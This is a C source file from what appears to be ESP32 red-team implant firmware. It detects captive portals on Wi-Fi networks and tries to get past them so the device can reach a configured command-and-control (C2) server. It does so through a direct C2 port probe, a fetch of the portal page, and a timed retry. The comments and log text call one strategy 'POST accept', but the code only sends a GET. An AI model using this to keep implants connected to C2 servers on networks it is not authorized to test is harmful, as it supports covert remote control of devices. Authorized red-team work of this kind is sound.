Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
292 lines
9.0 KiB
C
292 lines
9.0 KiB
C
/*
|
|
* rt_captive.c
|
|
* Captive portal detection and bypass strategies.
|
|
*
|
|
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
|
|
* - 204 = no portal (internet open)
|
|
* - 200/302 = captive portal detected
|
|
* - Connection failed = unknown
|
|
*
|
|
* Bypass strategies (in order):
|
|
* 1. Direct C2 port — often not intercepted by portals
|
|
* 2. POST accept — parse 302 redirect, POST to portal accept URL
|
|
* 3. Wait + retry — some portals open after DNS traffic
|
|
*/
|
|
#include "sdkconfig.h"
|
|
#include "rt_captive.h"
|
|
|
|
#ifdef CONFIG_MODULE_REDTEAM
|
|
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#include "esp_log.h"
|
|
#include "lwip/sockets.h"
|
|
#include "lwip/netdb.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
|
|
#include "utils.h"
|
|
|
|
static const char *TAG = "RT_CAPTIVE";
|
|
|
|
#define CAPTIVE_TIMEOUT_S 5
|
|
#define CAPTIVE_RX_BUF 512
|
|
|
|
/* ============================================================
|
|
* Raw HTTP request to check connectivity
|
|
* ============================================================ */
|
|
|
|
/* Resolve hostname to IP */
|
|
static bool resolve_host(const char *host, struct in_addr *out)
|
|
{
|
|
struct addrinfo hints = {0};
|
|
hints.ai_family = AF_INET;
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
|
|
struct addrinfo *res = NULL;
|
|
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
|
|
if (err != 0 || !res) {
|
|
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
|
|
return false;
|
|
}
|
|
|
|
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
|
|
*out = addr->sin_addr;
|
|
lwip_freeaddrinfo(res);
|
|
return true;
|
|
}
|
|
|
|
/* Send raw HTTP GET, return HTTP status code (0 on failure) */
|
|
static int http_get_status(const char *host, int port, const char *path,
|
|
char *location_out, size_t location_cap)
|
|
{
|
|
struct in_addr ip;
|
|
if (!resolve_host(host, &ip)) return 0;
|
|
|
|
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
|
if (s < 0) return 0;
|
|
|
|
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
|
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
|
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
|
|
|
struct sockaddr_in addr = {0};
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(port);
|
|
addr.sin_addr = ip;
|
|
|
|
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
|
lwip_close(s);
|
|
return 0;
|
|
}
|
|
|
|
/* Send HTTP request */
|
|
char req[256];
|
|
int req_len = snprintf(req, sizeof(req),
|
|
"GET %s HTTP/1.0\r\n"
|
|
"Host: %s\r\n"
|
|
"Connection: close\r\n"
|
|
"User-Agent: Mozilla/5.0\r\n"
|
|
"\r\n",
|
|
path, host);
|
|
|
|
if (lwip_write(s, req, req_len) <= 0) {
|
|
lwip_close(s);
|
|
return 0;
|
|
}
|
|
|
|
/* Read response header */
|
|
char buf[CAPTIVE_RX_BUF];
|
|
int total = 0;
|
|
int len;
|
|
while (total < (int)sizeof(buf) - 1) {
|
|
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
|
|
if (len <= 0) break;
|
|
total += len;
|
|
/* Stop after headers (double CRLF) */
|
|
buf[total] = '\0';
|
|
if (strstr(buf, "\r\n\r\n")) break;
|
|
}
|
|
lwip_close(s);
|
|
|
|
if (total == 0) return 0;
|
|
buf[total] = '\0';
|
|
|
|
/* Parse status code: "HTTP/1.x NNN ..." */
|
|
int status = 0;
|
|
char *sp = strchr(buf, ' ');
|
|
if (sp) {
|
|
status = atoi(sp + 1);
|
|
}
|
|
|
|
/* Extract Location header if present (for 302 redirects) */
|
|
if (location_out && location_cap > 0) {
|
|
location_out[0] = '\0';
|
|
char *loc = strstr(buf, "Location: ");
|
|
if (!loc) loc = strstr(buf, "location: ");
|
|
if (loc) {
|
|
loc += 10; /* skip "Location: " */
|
|
char *end = strstr(loc, "\r\n");
|
|
if (end) {
|
|
size_t copy_len = end - loc;
|
|
if (copy_len >= location_cap) copy_len = location_cap - 1;
|
|
memcpy(location_out, loc, copy_len);
|
|
location_out[copy_len] = '\0';
|
|
}
|
|
}
|
|
}
|
|
|
|
return status;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Captive portal detection
|
|
* ============================================================ */
|
|
|
|
rt_portal_status_t rt_captive_detect(void)
|
|
{
|
|
ESP_LOGI(TAG, "Checking for captive portal...");
|
|
|
|
int status = http_get_status(
|
|
"connectivitycheck.gstatic.com", 80,
|
|
"/generate_204", NULL, 0);
|
|
|
|
if (status == 204) {
|
|
ESP_LOGI(TAG, "No captive portal (got 204)");
|
|
return RT_PORTAL_NONE;
|
|
}
|
|
|
|
if (status == 200 || status == 302 || status == 301) {
|
|
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
|
|
return RT_PORTAL_DETECTED;
|
|
}
|
|
|
|
if (status == 0) {
|
|
/* Try alternative check endpoint */
|
|
status = http_get_status(
|
|
"captive.apple.com", 80,
|
|
"/hotspot-detect.html", NULL, 0);
|
|
|
|
if (status == 200) {
|
|
/* Apple endpoint returns 200 with "Success" if no portal */
|
|
/* and 200 with redirect content if portal — tricky */
|
|
/* For now, assume it's potentially a portal */
|
|
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
|
|
return RT_PORTAL_DETECTED;
|
|
}
|
|
|
|
ESP_LOGW(TAG, "Connectivity check failed (no response)");
|
|
return RT_PORTAL_UNKNOWN;
|
|
}
|
|
|
|
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
|
|
return RT_PORTAL_DETECTED;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Captive portal bypass
|
|
* ============================================================ */
|
|
|
|
bool rt_captive_bypass(void)
|
|
{
|
|
ESP_LOGI(TAG, "Attempting captive portal bypass...");
|
|
|
|
/* Strategy 1: Direct C2 port
|
|
* Most captive portals only intercept 80/443.
|
|
* Our C2 is on port 2626 — might go through. */
|
|
{
|
|
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
|
if (s >= 0) {
|
|
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
|
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
|
|
|
struct sockaddr_in addr = {0};
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(CONFIG_SERVER_PORT);
|
|
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
|
|
|
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
|
lwip_close(s);
|
|
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
|
|
return true;
|
|
}
|
|
lwip_close(s);
|
|
}
|
|
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
|
|
}
|
|
|
|
/* Strategy 2: POST accept
|
|
* Get the redirect URL from the portal, POST to accept. */
|
|
{
|
|
char location[256] = {0};
|
|
int status = http_get_status(
|
|
"connectivitycheck.gstatic.com", 80,
|
|
"/generate_204", location, sizeof(location));
|
|
|
|
if ((status == 302 || status == 301) && location[0]) {
|
|
ESP_LOGI(TAG, "Portal redirect to: %s", location);
|
|
|
|
/* Parse host from location URL */
|
|
/* Expected format: http://host/path or https://host/path */
|
|
char *host_start = strstr(location, "://");
|
|
if (host_start) {
|
|
host_start += 3;
|
|
char *path_start = strchr(host_start, '/');
|
|
char host_buf[64] = {0};
|
|
|
|
if (path_start) {
|
|
size_t hlen = path_start - host_start;
|
|
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
|
|
memcpy(host_buf, host_start, hlen);
|
|
} else {
|
|
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
|
|
path_start = "/";
|
|
}
|
|
|
|
/* Try to just GET the portal page (some portals auto-accept) */
|
|
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
|
|
ESP_LOGI(TAG, "Portal page status: %d", p_status);
|
|
|
|
/* Check if we now have internet */
|
|
vTaskDelay(pdMS_TO_TICKS(2000));
|
|
int check = http_get_status(
|
|
"connectivitycheck.gstatic.com", 80,
|
|
"/generate_204", NULL, 0);
|
|
if (check == 204) {
|
|
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
|
|
}
|
|
|
|
/* Strategy 3: Wait + retry
|
|
* Some portals open after seeing DNS traffic. Wait 10s. */
|
|
{
|
|
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
|
|
vTaskDelay(pdMS_TO_TICKS(10000));
|
|
|
|
int status = http_get_status(
|
|
"connectivitycheck.gstatic.com", 80,
|
|
"/generate_204", NULL, 0);
|
|
if (status == 204) {
|
|
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
|
|
return true;
|
|
}
|
|
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
|
|
}
|
|
|
|
msg_info(TAG, "All captive portal bypass strategies failed", NULL);
|
|
return false;
|
|
}
|
|
|
|
#else /* !CONFIG_MODULE_REDTEAM */
|
|
|
|
rt_portal_status_t rt_captive_detect(void) { return RT_PORTAL_UNKNOWN; }
|
|
bool rt_captive_bypass(void) { return false; }
|
|
|
|
#endif /* CONFIG_MODULE_REDTEAM */
|